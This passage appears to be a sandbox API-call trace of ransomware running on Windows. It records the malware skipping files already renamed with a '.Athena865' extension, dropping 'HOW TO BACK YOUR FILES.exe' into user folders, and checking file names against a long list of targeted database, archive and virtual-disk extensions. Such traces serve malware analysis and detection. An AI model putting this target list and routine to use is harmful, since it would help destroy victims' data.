lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.374] lstrcpyW (in: lpString1=0x241e8d4, lpString2="zXm1.mp4.Athena865" | out: lpString1="zXm1.mp4.Athena865") returned="zXm1.mp4.Athena865" [0102.374] lstrlenW (lpString="zXm1.mp4.Athena865") returned 18 [0102.374] lstrlenW (lpString="Athena865") returned 9 [0102.374] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.374] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd079b50, ftCreationTime.dwHighDateTime=0x1d4c62c, ftLastAccessTime.dwLowDateTime=0x93d0e780, ftLastAccessTime.dwHighDateTime=0x1d4d25d, ftLastWriteTime.dwLowDateTime=0xc76c7080, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xaef0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zXm1.mp4.Athena865", cAlternateFileName="ZXM1MP~1.ATH")) returned 0 [0102.374] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.374] ReleaseMutex (hMutex=0xec) returned 1 [0102.374] CloseHandle (hObject=0xec) returned 1 [0102.374] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\Outlook Files" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\Outlook Files") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\Outlook Files" [0102.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aa60 | out: hHeap=0x4f0000) returned 1 [0102.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a508 | out: hHeap=0x4f0000) returned 1 [0102.374] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\Outlook Files") returned 73 [0102.374] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\2DE4383CB634A14F5EA043A1BC261A1D") returned 0xec [0102.374] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.374] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\Outlook Files" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\Outlook Files") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\Outlook Files" [0102.375] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.375] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\Outlook Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\outlook files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.375] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\Outlook Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\outlook files\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.375] GetLastError () returned 0x0 [0102.375] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.375] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.376] CloseHandle (hObject=0xf4) returned 1 [0102.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.376] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.376] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\Outlook Files\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xe433b020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe433b020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.376] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.376] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.376] lstrcpyW (in: lpString1=0x241e8dc, lpString2="voeimd@djhreuu.uhd.pst.Athena865" | out: lpString1="voeimd@djhreuu.uhd.pst.Athena865") returned="voeimd@djhreuu.uhd.pst.Athena865" [0102.376] lstrlenW (lpString="voeimd@djhreuu.uhd.pst.Athena865") returned 32 [0102.376] lstrlenW (lpString="Athena865") returned 9 [0102.376] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.376] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xe433b020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x42700, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst.Athena865", cAlternateFileName="VOEIMD~1.ATH")) returned 0 [0102.376] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.376] ReleaseMutex (hMutex=0xec) returned 1 [0102.376] CloseHandle (hObject=0xec) returned 1 [0102.376] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations" [0102.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0102.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c560 | out: hHeap=0x4f0000) returned 1 [0102.376] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations") returned 75 [0102.376] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1FF0F46A26CC24B94C9B1EC423C39EAE") returned 0xec [0102.376] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.376] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations" [0102.377] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.377] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\automaticdestinations\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.377] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\automaticdestinations\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.377] GetLastError () returned 0x0 [0102.377] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.377] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.378] CloseHandle (hObject=0xf4) returned 1 [0102.378] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.378] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.378] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc6beac20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6beac20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.378] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.378] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.379] lstrcpyW (in: lpString1=0x241e8e0, lpString2="1b4dd67f29cb1962.automaticDestinations-ms" | out: lpString1="1b4dd67f29cb1962.automaticDestinations-ms") returned="1b4dd67f29cb1962.automaticDestinations-ms" [0102.379] lstrlenW (lpString="1b4dd67f29cb1962.automaticDestinations-ms") returned 41 [0102.379] lstrlenW (lpString="Athena865") returned 9 [0102.379] lstrcmpiW (lpString1="ations-ms", lpString2="Athena865") returned 1 [0102.379] lstrlenW (lpString=".dll") returned 4 [0102.379] lstrcmpiW (lpString1="1b4dd67f29cb1962.automaticDestinations-ms", lpString2=".dll") returned 1 [0102.379] lstrlenW (lpString=".lnk") returned 4 [0102.379] lstrcmpiW (lpString1="1b4dd67f29cb1962.automaticDestinations-ms", lpString2=".lnk") returned 1 [0102.379] lstrlenW (lpString=".ini") returned 4 [0102.379] lstrcmpiW (lpString1="1b4dd67f29cb1962.automaticDestinations-ms", lpString2=".ini") returned 1 [0102.379] lstrlenW (lpString=".sys") returned 4 [0102.379] lstrcmpiW (lpString1="1b4dd67f29cb1962.automaticDestinations-ms", lpString2=".sys") returned 1 [0102.379] lstrlenW (lpString="1b4dd67f29cb1962.automaticDestinations-ms") returned 41 [0102.379] lstrlenW (lpString="bak") returned 3 [0102.379] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1 [0102.379] lstrlenW (lpString="ba_") returned 3 [0102.379] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1 [0102.379] lstrlenW (lpString="dbb") returned 3 [0102.379] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1 [0102.379] lstrlenW (lpString="vmdk") returned 4 [0102.379] lstrcmpiW (lpString1="s-ms", lpString2="vmdk") returned -1 [0102.379] lstrlenW (lpString="rar") returned 3 [0102.379] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1 [0102.379] lstrlenW (lpString="zip") returned 3 [0102.379] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1 [0102.379] lstrlenW (lpString="tgz") returned 3 [0102.379] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1 [0102.379] lstrlenW (lpString="vbox") returned 4 [0102.379] lstrcmpiW (lpString1="s-ms", lpString2="vbox") returned -1 [0102.379] lstrlenW (lpString="vdi") returned 3 [0102.379] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1 [0102.380] lstrlenW (lpString="vhd") returned 3 [0102.380] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1 [0102.380] lstrlenW (lpString="vhdx") returned 4 [0102.380] lstrcmpiW (lpString1="s-ms", lpString2="vhdx") returned -1 [0102.380] lstrlenW (lpString="avhd") returned 4 [0102.380] lstrcmpiW (lpString1="s-ms", lpString2="avhd") returned 1 [0102.380] lstrlenW (lpString="db") returned 2 [0102.380] lstrcmpiW (lpString1="ms", lpString2="db") returned 1 [0102.380] lstrlenW (lpString="db2") returned 3 [0102.380] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1 [0102.380] lstrlenW (lpString="db3") returned 3 [0102.380] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1 [0102.380] lstrlenW (lpString="dbf") returned 3 [0102.380] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1 [0102.380] lstrlenW (lpString="mdf") returned 3 [0102.380] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1 [0102.380] lstrlenW (lpString="mdb") returned 3 [0102.380] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1 [0102.380] lstrlenW (lpString="sql") returned 3 [0102.380] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1 [0102.380] lstrlenW (lpString="sqlite") returned 6 [0102.380] lstrcmpiW (lpString1="ons-ms", lpString2="sqlite") returned -1 [0102.380] lstrlenW (lpString="sqlite3") returned 7 [0102.380] lstrcmpiW (lpString1="ions-ms", lpString2="sqlite3") returned -1 [0102.380] lstrlenW (lpString="sqlitedb") returned 8 [0102.380] lstrcmpiW (lpString1="tions-ms", lpString2="sqlitedb") returned 1 [0102.380] lstrlenW (lpString="xml") returned 3 [0102.380] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1 [0102.380] lstrlenW (lpString="$er") returned 3 [0102.380] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1 [0102.380] lstrlenW (lpString="4dd") returned 3 [0102.380] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1 [0102.380] lstrlenW (lpString="4dl") returned 3 [0102.381] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1 [0102.381] lstrlenW (lpString="^^^") returned 3 [0102.381] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1 [0102.381] lstrlenW (lpString="abs") returned 3 [0102.381] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1 [0102.381] lstrlenW (lpString="abx") returned 3 [0102.381] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1 [0102.381] lstrlenW (lpString="accdb") returned 5 [0102.381] lstrcmpiW (lpString1="ns-ms", lpString2="accdb") returned 1 [0102.381] lstrlenW (lpString="accdc") returned 5 [0102.381] lstrcmpiW (lpString1="ns-ms", lpString2="accdc") returned 1 [0102.381] lstrlenW (lpString="accde") returned 5 [0102.381] lstrcmpiW (lpString1="ns-ms", lpString2="accde") returned 1 [0102.381] lstrlenW (lpString="accdr") returned 5 [0102.381] lstrcmpiW (lpString1="ns-ms", lpString2="accdr") returned 1 [0102.381] lstrlenW (lpString="accdt") returned 5 [0102.381] lstrcmpiW (lpString1="ns-ms", lpString2="accdt") returned 1 [0102.381] lstrlenW (lpString="accdw") returned 5 [0102.381] lstrcmpiW (lpString1="ns-ms", lpString2="accdw") returned 1 [0102.381] lstrlenW (lpString="accft") returned 5 [0102.381] lstrcmpiW (lpString1="ns-ms", lpString2="accft") returned 1 [0102.381] lstrlenW (lpString="adb") returned 3 [0102.381] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0102.381] lstrlenW (lpString="adb") returned 3 [0102.381] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0102.381] lstrlenW (lpString="ade") returned 3 [0102.381] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1 [0102.381] lstrlenW (lpString="adf") returned 3 [0102.381] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1 [0102.381] lstrlenW (lpString="adn") returned 3 [0102.381] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1 [0102.381] lstrlenW (lpString="adp") returned 3 [0102.381] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1 [0102.381] lstrlenW (lpString="alf") returned 3 [0102.382] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1 [0102.382] lstrlenW (lpString="ask") returned 3 [0102.382] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1 [0102.382] lstrlenW (lpString="btr") returned 3 [0102.382] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1 [0102.382] lstrlenW (lpString="cat") returned 3 [0102.382] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1 [0102.382] lstrlenW (lpString="cdb") returned 3 [0102.382] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1 [0102.382] lstrlenW (lpString="ckp") returned 3 [0102.382] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1 [0102.382] lstrlenW (lpString="cma") returned 3 [0102.382] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1 [0102.382] lstrlenW (lpString="cpd") returned 3 [0102.382] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1 [0102.382] lstrlenW (lpString="dacpac") returned 6 [0102.382] lstrcmpiW (lpString1="ons-ms", lpString2="dacpac") returned 1 [0102.382] lstrlenW (lpString="dad") returned 3 [0102.382] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1 [0102.382] lstrlenW (lpString="dadiagrams") returned 10 [0102.382] lstrcmpiW (lpString1="nations-ms", lpString2="dadiagrams") returned 1 [0102.382] lstrlenW (lpString="daschema") returned 8 [0102.382] lstrcmpiW (lpString1="tions-ms", lpString2="daschema") returned 1 [0102.382] lstrlenW (lpString="db-journal") returned 10 [0102.382] lstrcmpiW (lpString1="nations-ms", lpString2="db-journal") returned 1 [0102.382] lstrlenW (lpString="db-shm") returned 6 [0102.382] lstrcmpiW (lpString1="ons-ms", lpString2="db-shm") returned 1 [0102.382] lstrlenW (lpString="db-wal") returned 6 [0102.382] lstrcmpiW (lpString1="ons-ms", lpString2="db-wal") returned 1 [0102.382] lstrlenW (lpString="dbc") returned 3 [0102.382] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1 [0102.382] lstrlenW (lpString="dbs") returned 3 [0102.382] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1 [0102.383] lstrlenW (lpString="dbt") returned 3 [0102.383] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1 [0102.383] lstrlenW (lpString="dbv") returned 3 [0102.383] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1 [0102.383] lstrlenW (lpString="dbx") returned 3 [0102.383] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1 [0102.383] lstrlenW (lpString="dcb") returned 3 [0102.383] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1 [0102.383] lstrlenW (lpString="dct") returned 3 [0102.383] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1 [0102.383] lstrlenW (lpString="dcx") returned 3 [0102.383] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1 [0102.383] lstrlenW (lpString="ddl") returned 3 [0102.383] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1 [0102.383] lstrlenW (lpString="dlis") returned 4 [0102.383] lstrcmpiW (lpString1="s-ms", lpString2="dlis") returned 1 [0102.383] lstrlenW (lpString="dp1") returned 3 [0102.383] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1 [0102.383] lstrlenW (lpString="dqy") returned 3 [0102.383] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1 [0102.383] lstrlenW (lpString="dsk") returned 3 [0102.383] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1 [0102.383] lstrlenW (lpString="dsn") returned 3 [0102.383] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1 [0102.383] lstrlenW (lpString="dtsx") returned 4 [0102.383] lstrcmpiW (lpString1="s-ms", lpString2="dtsx") returned 1 [0102.383] lstrlenW (lpString="dxl") returned 3 [0102.383] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1 [0102.383] lstrlenW (lpString="eco") returned 3 [0102.383] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1 [0102.383] lstrlenW (lpString="ecx") returned 3 [0102.383] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1 [0102.383] lstrlenW (lpString="edb") returned 3 [0102.384] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1 [0102.384] lstrlenW (lpString="epim") returned 4 [0102.384] lstrcmpiW (lpString1="s-ms", lpString2="epim") returned 1 [0102.384] lstrlenW (lpString="fcd") returned 3 [0102.384] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1 [0102.384] lstrlenW (lpString="fdb") returned 3 [0102.384] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1 [0102.384] lstrlenW (lpString="fic") returned 3 [0102.384] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1 [0102.384] lstrlenW (lpString="flexolibrary") returned 12 [0102.384] lstrcmpiW (lpString1="tinations-ms", lpString2="flexolibrary") returned 1 [0102.384] lstrlenW (lpString="fm5") returned 3 [0102.384] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1 [0102.384] lstrlenW (lpString="fmp") returned 3 [0102.384] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1 [0102.384] lstrlenW (lpString="fmp12") returned 5 [0102.384] lstrcmpiW (lpString1="ns-ms", lpString2="fmp12") returned 1 [0102.384] lstrlenW (lpString="fmpsl") returned 5 [0102.384] lstrcmpiW (lpString1="ns-ms", lpString2="fmpsl") returned 1 [0102.384] lstrlenW (lpString="fol") returned 3 [0102.384] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1 [0102.384] lstrlenW (lpString="fp3") returned 3 [0102.384] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1 [0102.384] lstrlenW (lpString="fp4") returned 3 [0102.384] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1 [0102.384] lstrlenW (lpString="fp5") returned 3 [0102.384] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1 [0102.384] lstrlenW (lpString="fp7") returned 3 [0102.384] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1 [0102.384] lstrlenW (lpString="fpt") returned 3 [0102.384] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1 [0102.384] lstrlenW (lpString="frm") returned 3 [0102.384] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1 [0102.385] lstrlenW (lpString="gdb") returned 3 [0102.385] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1 [0102.385] lstrlenW (lpString="gdb") returned 3 [0102.385] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1 [0102.385] lstrlenW (lpString="grdb") returned 4 [0102.385] lstrcmpiW (lpString1="s-ms", lpString2="grdb") returned 1 [0102.385] lstrlenW (lpString="gwi") returned 3 [0102.385] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1 [0102.385] lstrlenW (lpString="hdb") returned 3 [0102.385] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1 [0102.385] lstrlenW (lpString="his") returned 3 [0102.385] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1 [0102.385] lstrlenW (lpString="ib") returned 2 [0102.385] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1 [0102.385] lstrlenW (lpString="idb") returned 3 [0102.385] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1 [0102.385] lstrlenW (lpString="ihx") returned 3 [0102.385] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1 [0102.385] lstrlenW (lpString="itdb") returned 4 [0102.385] lstrcmpiW (lpString1="s-ms", lpString2="itdb") returned 1 [0102.385] lstrlenW (lpString="itw") returned 3 [0102.385] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1 [0102.385] lstrlenW (lpString="jet") returned 3 [0102.385] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1 [0102.385] lstrlenW (lpString="jtx") returned 3 [0102.385] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1 [0102.385] lstrlenW (lpString="kdb") returned 3 [0102.385] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1 [0102.385] lstrlenW (lpString="kexi") returned 4 [0102.386] lstrcmpiW (lpString1="s-ms", lpString2="kexi") returned 1 [0102.386] lstrlenW (lpString="kexic") returned 5 [0102.386] lstrcmpiW (lpString1="ns-ms", lpString2="kexic") returned 1 [0102.386] lstrlenW (lpString="kexis") returned 5 [0102.386] lstrcmpiW (lpString1="ns-ms", lpString2="kexis") returned 1 [0102.386] lstrlenW (lpString="lgc") returned 3 [0102.386] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1 [0102.386] lstrlenW (lpString="lwx") returned 3 [0102.386] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1 [0102.386] lstrlenW (lpString="maf") returned 3 [0102.386] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1 [0102.386] lstrlenW (lpString="maq") returned 3 [0102.386] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1 [0102.386] lstrlenW (lpString="mar") returned 3 [0102.386] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1 [0102.386] lstrlenW (lpString="marshal") returned 7 [0102.386] lstrcmpiW (lpString1="ions-ms", lpString2="marshal") returned -1 [0102.386] lstrlenW (lpString="mas") returned 3 [0102.386] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1 [0102.386] lstrlenW (lpString="mav") returned 3 [0102.386] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1 [0102.386] lstrlenW (lpString="maw") returned 3 [0102.386] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1 [0102.386] lstrlenW (lpString="mdbhtml") returned 7 [0102.386] lstrcmpiW (lpString1="ions-ms", lpString2="mdbhtml") returned -1 [0102.386] lstrlenW (lpString="mdn") returned 3 [0102.386] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1 [0102.386] lstrlenW (lpString="mdt") returned 3 [0102.386] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1 [0102.386] lstrlenW (lpString="mfd") returned 3 [0102.386] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1 [0102.386] lstrlenW (lpString="mpd") returned 3 [0102.387] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1 [0102.387] lstrlenW (lpString="mrg") returned 3 [0102.387] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1 [0102.387] lstrlenW (lpString="mud") returned 3 [0102.387] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1 [0102.387] lstrlenW (lpString="mwb") returned 3 [0102.387] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1 [0102.387] lstrlenW (lpString="myd") returned 3 [0102.387] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1 [0102.387] lstrlenW (lpString="ndf") returned 3 [0102.387] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1 [0102.387] lstrlenW (lpString="nnt") returned 3 [0102.387] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1 [0102.387] lstrlenW (lpString="nrmlib") returned 6 [0102.387] lstrcmpiW (lpString1="ons-ms", lpString2="nrmlib") returned 1 [0102.387] lstrlenW (lpString="ns2") returned 3 [0102.387] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1 [0102.387] lstrlenW (lpString="ns3") returned 3 [0102.387] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1 [0102.387] lstrlenW (lpString="ns4") returned 3 [0102.387] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1 [0102.387] lstrlenW (lpString="nsf") returned 3 [0102.387] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1 [0102.387] lstrlenW (lpString="nv") returned 2 [0102.387] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1 [0102.387] lstrlenW (lpString="nv2") returned 3 [0102.387] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1 [0102.387] lstrlenW (lpString="nwdb") returned 4 [0102.387] lstrcmpiW (lpString1="s-ms", lpString2="nwdb") returned 1 